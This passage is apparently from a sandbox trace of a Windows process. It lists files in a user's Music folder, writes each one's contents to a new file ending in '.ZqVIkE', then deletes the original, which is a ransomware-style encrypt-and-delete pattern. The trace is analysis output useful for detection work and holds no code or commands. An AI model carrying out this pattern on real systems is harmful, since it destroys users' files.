ftLastWriteTime.dwLowDateTime=0x687513e0, ftLastWriteTime.dwHighDateTime=0x1d626f3, nFileSizeHigh=0x0, nFileSizeLow=0x11392, dwReserved0=0x0, dwReserved1=0x0, cFileName="eHX6NEdt-X9re.m4a", cAlternateFileName="EHX6NE~1.M4A")) returned 1 [0086.453] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21ba7000, ftCreationTime.dwHighDateTime=0x1d623a9, ftLastAccessTime.dwLowDateTime=0xf4c177d0, ftLastAccessTime.dwHighDateTime=0x1d62cde, ftLastWriteTime.dwLowDateTime=0xf4c177d0, ftLastWriteTime.dwHighDateTime=0x1d62cde, nFileSizeHigh=0x0, nFileSizeLow=0x6cdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="G9S4NDtK.m4a", cAlternateFileName="")) returned 1 [0086.453] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1ec16f0, ftCreationTime.dwHighDateTime=0x1d632db, ftLastAccessTime.dwLowDateTime=0xcdd282a0, ftLastAccessTime.dwHighDateTime=0x1d62823, ftLastWriteTime.dwLowDateTime=0xcdd282a0, ftLastWriteTime.dwHighDateTime=0x1d62823, nFileSizeHigh=0x0, nFileSizeLow=0x7230, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gpb0T9A QL3.mp3", cAlternateFileName="GPB0T9~1.MP3")) returned 1 [0086.453] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62847e50, ftCreationTime.dwHighDateTime=0x1d62e2b, ftLastAccessTime.dwLowDateTime=0xba768a60, ftLastAccessTime.dwHighDateTime=0x1d62a41, ftLastWriteTime.dwLowDateTime=0xba768a60, ftLastWriteTime.dwHighDateTime=0x1d62a41, nFileSizeHigh=0x0, nFileSizeLow=0x10c39, dwReserved0=0x0, dwReserved1=0x0, cFileName="hVdWL77-1kjmLt7caqTC.wav", cAlternateFileName="HVDWL7~1.WAV")) returned 1 [0086.453] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a9f0f70, ftCreationTime.dwHighDateTime=0x1d62bed, ftLastAccessTime.dwLowDateTime=0xcb743cd0, ftLastAccessTime.dwHighDateTime=0x1d624ed, ftLastWriteTime.dwLowDateTime=0xcb743cd0, ftLastWriteTime.dwHighDateTime=0x1d624ed, nFileSizeHigh=0x0, nFileSizeLow=0x8c1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="iQ2SiXDl3PPb2Gdv6b.m4a", cAlternateFileName="IQ2SIX~1.M4A")) returned 1 [0086.454] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8635240, ftCreationTime.dwHighDateTime=0x1d62ce8, ftLastAccessTime.dwLowDateTime=0x9620a530, ftLastAccessTime.dwHighDateTime=0x1d6244a, ftLastWriteTime.dwLowDateTime=0x9620a530, ftLastWriteTime.dwHighDateTime=0x1d6244a, nFileSizeHigh=0x0, nFileSizeLow=0x1431f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J_hBOSwPw-Iqp8MKtM.m4a", cAlternateFileName="J_HBOS~1.M4A")) returned 1 [0086.454] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8942c610, ftCreationTime.dwHighDateTime=0x1d6257e, ftLastAccessTime.dwLowDateTime=0x1681b580, ftLastAccessTime.dwHighDateTime=0x1d62355, ftLastWriteTime.dwLowDateTime=0x1681b580, ftLastWriteTime.dwHighDateTime=0x1d62355, nFileSizeHigh=0x0, nFileSizeLow=0x13c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="lqqu.wav", cAlternateFileName="")) returned 1 [0086.454] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbdaa5f0, ftCreationTime.dwHighDateTime=0x1d62545, ftLastAccessTime.dwLowDateTime=0x7fd25060, ftLastAccessTime.dwHighDateTime=0x1d62f5a, ftLastWriteTime.dwLowDateTime=0x7fd25060, ftLastWriteTime.dwHighDateTime=0x1d62f5a, nFileSizeHigh=0x0, nFileSizeLow=0xae78, dwReserved0=0x0, dwReserved1=0x0, cFileName="nnbNg9UvuPSMX0.m4a", cAlternateFileName="NNBNG9~1.M4A")) returned 1 [0086.454] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1457c4f0, ftCreationTime.dwHighDateTime=0x1d629c9, ftLastAccessTime.dwLowDateTime=0xbcdac350, ftLastAccessTime.dwHighDateTime=0x1d62c69, ftLastWriteTime.dwLowDateTime=0xbcdac350, ftLastWriteTime.dwHighDateTime=0x1d62c69, nFileSizeHigh=0x0, nFileSizeLow=0xb8ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="qtHEmVE0YhI4H.mp3", cAlternateFileName="QTHEMV~1.MP3")) returned 1 [0086.454] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb16ea840, ftCreationTime.dwHighDateTime=0x1d6257c, ftLastAccessTime.dwLowDateTime=0xb36d27c0, ftLastAccessTime.dwHighDateTime=0x1d632ab, ftLastWriteTime.dwLowDateTime=0xb36d27c0, ftLastWriteTime.dwHighDateTime=0x1d632ab, nFileSizeHigh=0x0, nFileSizeLow=0x18853, dwReserved0=0x0, dwReserved1=0x0, cFileName="TQPue13.m4a", cAlternateFileName="")) returned 1 [0086.454] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x638648b0, ftCreationTime.dwHighDateTime=0x1d63222, ftLastAccessTime.dwLowDateTime=0x5e805010, ftLastAccessTime.dwHighDateTime=0x1d62668, ftLastWriteTime.dwLowDateTime=0x5e805010, ftLastWriteTime.dwHighDateTime=0x1d62668, nFileSizeHigh=0x0, nFileSizeLow=0x1490f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WNqzGcGlDEEkkyCzX4.wav", cAlternateFileName="WNQZGC~1.WAV")) returned 1 [0086.454] FindNextFileW (in: hFindFile=0x1ae50af0, lpFindFileData=0x71ebb0 | out: lpFindFileData=0x71ebb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0086.454] FindClose (in: hFindFile=0x1ae50af0 | out: hFindFile=0x1ae50af0) returned 1 [0086.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ee10) returned 1 [0086.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71edd0) returned 1 [0086.455] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\d t31.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\d t31.wav.ZqVIkE", lpFilePart=0x0) returned 0x26 [0086.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0086.455] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\d t31.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\music\\d t31.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x378 [0086.455] GetFileType (hFile=0x378) returned 0x1 [0086.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0086.455] GetFileType (hFile=0x378) returned 0x1 [0087.845] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\d t31.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\d t31.wav", lpFilePart=0x0) returned 0x1f [0087.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0087.846] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\d t31.wav" (normalized: "c:\\users\\fd1hvy\\music\\d t31.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0087.846] GetFileType (hFile=0x2ec) returned 0x1 [0087.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0087.846] GetFileType (hFile=0x2ec) returned 0x1 [0087.846] ReadFile (in: hFile=0x2ec, lpBuffer=0x125b7d70, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125b7d70*, lpNumberOfBytesRead=0x71ee98*=0xbc18, lpOverlapped=0x0) returned 1 [0087.847] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0087.847] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0087.851] WriteFile (in: hFile=0x378, lpBuffer=0x26bb978*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x26bb978*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0087.852] WriteFile (in: hFile=0x378, lpBuffer=0x26be3b8*, nNumberOfBytesToWrite=0xac30, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x26be3b8*, lpNumberOfBytesWritten=0x71ee88*=0xac30, lpOverlapped=0x0) returned 1 [0087.852] ReadFile (in: hFile=0x2ec, lpBuffer=0x125b7d70, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125b7d70*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0087.852] CloseHandle (hObject=0x2ec) returned 1 [0087.852] WriteFile (in: hFile=0x378, lpBuffer=0x26bb978*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x26bb978*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0087.853] CloseHandle (hObject=0x378) returned 1 [0087.854] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\d t31.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\d t31.wav", lpFilePart=0x0) returned 0x1f [0087.854] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\d t31.wav" (normalized: "c:\\users\\fd1hvy\\music\\d t31.wav")) returned 1 [0087.861] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\dC 8L.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\dC 8L.wav.ZqVIkE", lpFilePart=0x0) returned 0x26 [0087.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0087.861] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\dC 8L.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\music\\dc 8l.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x378 [0087.861] GetFileType (hFile=0x378) returned 0x1 [0087.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0087.861] GetFileType (hFile=0x378) returned 0x1 [0088.654] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\dC 8L.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\dC 8L.wav", lpFilePart=0x0) returned 0x1f [0088.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0088.654] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\dC 8L.wav" (normalized: "c:\\users\\fd1hvy\\music\\dc 8l.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0088.655] GetFileType (hFile=0x2ec) returned 0x1 [0088.655] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0088.655] GetFileType (hFile=0x2ec) returned 0x1 [0088.656] ReadFile (in: hFile=0x2ec, lpBuffer=0x128a1a10, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x128a1a10*, lpNumberOfBytesRead=0x71ee98*=0x6ed6, lpOverlapped=0x0) returned 1 [0088.664] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0088.664] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0088.665] WriteFile (in: hFile=0x378, lpBuffer=0x27aeb18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x27aeb18*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0088.666] WriteFile (in: hFile=0x378, lpBuffer=0x27b1558*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x27b1558*, lpNumberOfBytesWritten=0x71ee88*=0x5ef0, lpOverlapped=0x0) returned 1 [0088.666] ReadFile (in: hFile=0x2ec, lpBuffer=0x128a1a10, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x128a1a10*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0088.666] CloseHandle (hObject=0x2ec) returned 1 [0088.667] WriteFile (in: hFile=0x378, lpBuffer=0x27aeb18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x27aeb18*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0088.667] CloseHandle (hObject=0x378) returned 1 [0088.668] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\dC 8L.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\dC 8L.wav", lpFilePart=0x0) returned 0x1f [0088.668] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\dC 8L.wav" (normalized: "c:\\users\\fd1hvy\\music\\dc 8l.wav")) returned 1 [0088.671] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\DCRB V6-a54Gsv1Rv.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\DCRB V6-a54Gsv1Rv.wav.ZqVIkE", lpFilePart=0x0) returned 0x32 [0088.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0088.672] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\DCRB V6-a54Gsv1Rv.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\music\\dcrb v6-a54gsv1rv.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x378 [0088.672] GetFileType (hFile=0x378) returned 0x1 [0088.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0088.672] GetFileType (hFile=0x378) returned 0x1 [0089.422] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\DCRB V6-a54Gsv1Rv.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\DCRB V6-a54Gsv1Rv.wav", lpFilePart=0x0) returned 0x2b [0089.422] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0089.422] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\DCRB V6-a54Gsv1Rv.wav" (normalized: "c:\\users\\fd1hvy\\music\\dcrb v6-a54gsv1rv.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0089.422] GetFileType (hFile=0x2ec) returned 0x1 [0089.422] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0089.422] GetFileType (hFile=0x2ec) returned 0x1 [0089.424] ReadFile (in: hFile=0x2ec, lpBuffer=0x129a1a48, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x129a1a48*, lpNumberOfBytesRead=0x71ee98*=0x5054, lpOverlapped=0x0) returned 1 [0089.432] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0089.432] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0089.433] WriteFile (in: hFile=0x378, lpBuffer=0x269d098*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x269d098*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0089.434] WriteFile (in: hFile=0x378, lpBuffer=0x269fb08*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x269fb08*, lpNumberOfBytesWritten=0x71ee88*=0x4070, lpOverlapped=0x0) returned 1 [0089.434] ReadFile (in: hFile=0x2ec, lpBuffer=0x129a1a48, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x129a1a48*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0089.434] CloseHandle (hObject=0x2ec) returned 1 [0089.434] WriteFile (in: hFile=0x378, lpBuffer=0x269d098*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x269d098*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0089.435] CloseHandle (hObject=0x378) returned 1 [0089.438] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\DCRB V6-a54Gsv1Rv.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\DCRB V6-a54Gsv1Rv.wav", lpFilePart=0x0) returned 0x2b [0089.438] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\DCRB V6-a54Gsv1Rv.wav" (normalized: "c:\\users\\fd1hvy\\music\\dcrb v6-a54gsv1rv.wav")) returned 1 [0089.445] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\metiWtCzWYSrh.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\metiWtCzWYSrh.wav.ZqVIkE", lpFilePart=0x0) returned 0x2e [0089.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0089.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\metiWtCzWYSrh.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\music\\metiwtczwysrh.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x378 [0089.446] GetFileType (hFile=0x378) returned 0x1 [0089.446] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0089.446] GetFileType (hFile=0x378) returned 0x1 [0090.297] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\metiWtCzWYSrh.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\metiWtCzWYSrh.wav", lpFilePart=0x0) returned 0x27 [0090.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0090.297] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\metiWtCzWYSrh.wav" (normalized: "c:\\users\\fd1hvy\\music\\metiwtczwysrh.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0090.297] GetFileType (hFile=0x2ec) returned 0x1 [0090.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0090.297] GetFileType (hFile=0x2ec) returned 0x1 [0090.299] ReadFile (in: hFile=0x2ec, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x80f2, lpOverlapped=0x0) returned 1 [0090.306] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0090.307] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0090.319] WriteFile (in: hFile=0x378, lpBuffer=0x278a3c8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x278a3c8*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0090.320] WriteFile (in: hFile=0x378, lpBuffer=0x278ce28*, nNumberOfBytesToWrite=0x7110, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x278ce28*, lpNumberOfBytesWritten=0x71ee88*=0x7110, lpOverlapped=0x0) returned 1 [0090.320] ReadFile (in: hFile=0x2ec, lpBuffer=0x125a1968, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x125a1968*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0090.321] CloseHandle (hObject=0x2ec) returned 1 [0090.321] WriteFile (in: hFile=0x378, lpBuffer=0x278a3c8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x278a3c8*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0090.321] CloseHandle (hObject=0x378) returned 1 [0090.322] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\metiWtCzWYSrh.wav", nBufferLength=0x105, lpBuffer=0x71ea20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\metiWtCzWYSrh.wav", lpFilePart=0x0) returned 0x27 [0090.322] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\metiWtCzWYSrh.wav" (normalized: "c:\\users\\fd1hvy\\music\\metiwtczwysrh.wav")) returned 1 [0090.326] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\TM6eV_jyRFbhOXTEd.wav.ZqVIkE", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\TM6eV_jyRFbhOXTEd.wav.ZqVIkE", lpFilePart=0x0) returned 0x32 [0090.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0090.326] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\TM6eV_jyRFbhOXTEd.wav.ZqVIkE" (normalized: "c:\\users\\fd1hvy\\music\\tm6ev_jyrfbhoxted.wav.zqvike"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x378 [0090.327] GetFileType (hFile=0x378) returned 0x1 [0090.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0090.327] GetFileType (hFile=0x378) returned 0x1 [0091.250] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\TM6eV_jyRFbhOXTEd.wav", nBufferLength=0x105, lpBuffer=0x71e820, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\TM6eV_jyRFbhOXTEd.wav", lpFilePart=0x0) returned 0x2b [0091.250] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x71ed40) returned 1 [0091.250] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\TM6eV_jyRFbhOXTEd.wav" (normalized: "c:\\users\\fd1hvy\\music\\tm6ev_jyrfbhoxted.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x2ec [0091.251] GetFileType (hFile=0x2ec) returned 0x1 [0091.251] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x71ecb0) returned 1 [0091.251] GetFileType (hFile=0x2ec) returned 0x1 [0091.252] ReadFile (in: hFile=0x2ec, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x5981, lpOverlapped=0x0) returned 1 [0091.262] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x71ee78 | out: lplpMessageFilter=0x71ee78*=0x0) returned 0x80004021 [0091.262] PeekMessageW (in: lpMsg=0x71ee10, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x71ee10) returned 0 [0091.266] WriteFile (in: hFile=0x378, lpBuffer=0x2677cd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x71ee28, lpOverlapped=0x0 | out: lpBuffer=0x2677cd8*, lpNumberOfBytesWritten=0x71ee28*=0x1000, lpOverlapped=0x0) returned 1 [0091.267] WriteFile (in: hFile=0x378, lpBuffer=0x267a748*, nNumberOfBytesToWrite=0x49a0, lpNumberOfBytesWritten=0x71ee88, lpOverlapped=0x0 | out: lpBuffer=0x267a748*, lpNumberOfBytesWritten=0x71ee88*=0x49a0, lpOverlapped=0x0) returned 1 [0091.267] ReadFile (in: hFile=0x2ec, lpBuffer=0x126a19a0, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x71ee98, lpOverlapped=0x0 | out: lpBuffer=0x126a19a0*, lpNumberOfBytesRead=0x71ee98*=0x0, lpOverlapped=0x0) returned 1 [0091.267] CloseHandle (hObject=0x2ec) returned 1 [0091.267] WriteFile (in: hFile=0x378, lpBuffer=0x2677cd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x71ed58, lpOverlapped=0x0 | out: lpBuffer=0x2677cd8*, lpNumberOfBytesWritten=0x71ed58*=0x10, lpOverlapped=0x0) returned 1 [0091.267] CloseHandle (hObject=0x378) returned 1 [0091.268] 